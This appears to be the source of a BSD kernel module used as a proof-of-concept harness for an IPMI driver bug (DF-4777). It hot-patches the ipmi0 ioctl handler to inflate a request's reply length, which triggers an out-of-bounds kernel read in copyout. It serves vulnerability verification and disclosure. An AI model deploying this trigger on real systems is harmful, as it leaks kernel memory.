DF-4777 / bumpko.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 | /* * DF-4777 PoC harness (kernel module, root-only load). * * Purpose: emulate the transport half of a hostile BMC for the DF-4777 * sink verification. A real BMC that streams more than IPMI_MAX_RX (1024) * data bytes in KCS READ state makes kcs_polled_request() record * ir_replylen > ir_replybuflen (ipmi_kcs.c:410-432). The stock QEMU * ipmi-bmc-sim caps responses at MAX_IPMI_MSG_SIZE=255 bytes, so this * module reproduces exactly that end state on the completed request: * it sets kreq->ir_replylen = hw.bumpreplylen on the head of the * calling fd's completed queue, just before the driver's real ioctl * runs. Everything after that (the copyout OOB read at ipmi.c:448-468) * is the unmodified stock kernel. * * It hot-patches ipmi0's dev_ops.d_ioctl with a wrapper (restored on * unload). It does NOT modify any ipmi driver logic. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/module.h> #include <sys/malloc.h> /* M_NOWAIT */ #include <sys/sysctl.h> #include <sys/conf.h> #include <sys/device.h> #include <sys/devfs.h> #include <sys/bus.h> #include <sys/queue.h> #include <sys/lock.h> #include <sys/condvar.h> #include <sys/callout.h> #include <machine/atomic.h> #include <sys/ipmi.h> #include "dev/misc/ipmi/ipmivars.h" static d_ioctl_t *orig_ioctl; static struct ipmi_softc *saved_sc; static int patched; static volatile int inflight; static int bump_len; static int bump_ioctl(struct dev_ioctl_args *ap); static int do_patch(void) { devclass_t dc; device_t dev; struct ipmi_softc *sc; struct dev_ops *ops; dc = devclass_find("ipmi"); if (dc == NULL) return (ENODEV); dev = devclass_get_device(dc, 0); if (dev == NULL) return (ENODEV); sc = device_get_softc(dev); if (sc == NULL || sc->ipmi_cdev == NULL || sc->ipmi_cdev->si_ops == NULL) return (ENXIO); ops = sc->ipmi_cdev->si_ops; if (ops->d_ioctl == NULL) return (ENXIO); if ((d_ioctl_t *)ops->d_ioctl != orig_ioctl && patched) return (EBUSY); /* someone else patched it */ if (!patched) { orig_ioctl = ops->d_ioctl; ops->d_ioctl = bump_ioctl; saved_sc = sc; patched = 1; kprintf("bumpko: patched ipmi0 dev_ops.d_ioctl (%p -> %p)\n", orig_ioctl, ops->d_ioctl); } return (0); } static int bump_ioctl(struct dev_ioctl_args *ap) { int rv; if (bump_len > 0 && (ap->a_cmd == IPMICTL_RECEIVE_MSG_TRUNC || ap->a_cmd == IPMICTL_RECEIVE_MSG)) { struct ipmi_device *idev = NULL; if (devfs_get_cdevpriv(ap->a_fp, (void **)&idev) == 0 && idev != NULL && idev->ipmi_softc != NULL) { struct ipmi_softc *sc = idev->ipmi_softc; struct ipmi_request *kreq; IPMI_LOCK(sc); kreq = TAILQ_FIRST(&idev->ipmi_completed_requests); if (kreq != NULL) { kreq->ir_replylen = bump_len; kprintf("bumpko: head req %p ir_replylen -> %d" " (buflen %zd)\n", kreq, bump_len, kreq->ir_replybuflen); } IPMI_UNLOCK(sc); } } atomic_add_int(&inflight, 1); rv = orig_ioctl(ap); atomic_subtract_int(&inflight, 1); return (rv); } static int sysctl_bump(SYSCTL_HANDLER_ARGS) { int error, v = bump_len; error = sysctl_handle_int(oidp, &v, 0, req); if (error != 0 || req->newptr == NULL) return (error); if (v != 0 && !patched) { error = do_patch(); if (error) return (error); } bump_len = v; return (0); } SYSCTL_PROC(_hw, OID_AUTO, bumpreplylen, CTLTYPE_INT | CTLFLAG_RW, 0, 0, sysctl_bump, "I", "DF-4777 hostile-BMC emulation: ir_replylen"); static int bumpko_unload(void) { if (patched) { while (inflight > 0) tsleep(&inflight, 0, "bumpdrain", hz / 10); saved_sc->ipmi_cdev->si_ops->d_ioctl = orig_ioctl; kprintf("bumpko: restored ipmi0 d_ioctl\n"); patched = 0; } return (0); } static int bumpko_modevent(module_t mod, int type, void *data) { switch (type) { case MOD_LOAD: kprintf("bumpko: loaded (write hw.bumpreplylen=<n> to arm)\n"); return (0); case MOD_UNLOAD: return (bumpko_unload()); default: return (EOPNOTSUPP); } return (0); } DEV_MODULE(bumpko, bumpko_modevent, NULL); |